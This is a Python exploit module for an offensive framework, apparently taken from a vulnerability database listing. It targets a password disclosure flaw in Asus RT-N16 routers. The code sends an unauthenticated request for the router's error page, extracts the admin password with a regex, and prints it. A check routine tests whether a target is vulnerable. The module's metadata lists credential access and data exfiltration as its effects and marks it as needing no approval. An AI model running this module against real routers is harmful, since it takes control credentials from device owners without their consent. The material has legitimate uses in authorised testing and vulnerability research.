Asus RT-N16 Password Disclosure
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Asus RT-N16 Password Disclosure"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Asus RT-N16 Password Disclosure',
'description': 'Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.',
'author': ['Harry Sintonen', 'Marcin Bury'],
'platform': Platform.LINUX,
'references': ['https://sintonen.fi/advisories/asus-router-auth-bypass.txt'],
'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(8080, "Target HTTP port")
def run(self):
response = self.http_request(
method="GET",
path="/error_page.htm",
)
if response is None:
return
creds = re.findall(r"if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text)
if len(creds):
c = [("admin", creds[0])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *c)
else:
print_error("Credentials could not be found")
def check(self):
response = self.http_request(
method="GET",
path="/error_page.htm",
)
if response is None:
return False # target is not vulnerable
creds = re.findall(r"if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text)
if len(creds):
return True # target is vulnerable
return False # target is not vulnerable
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19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9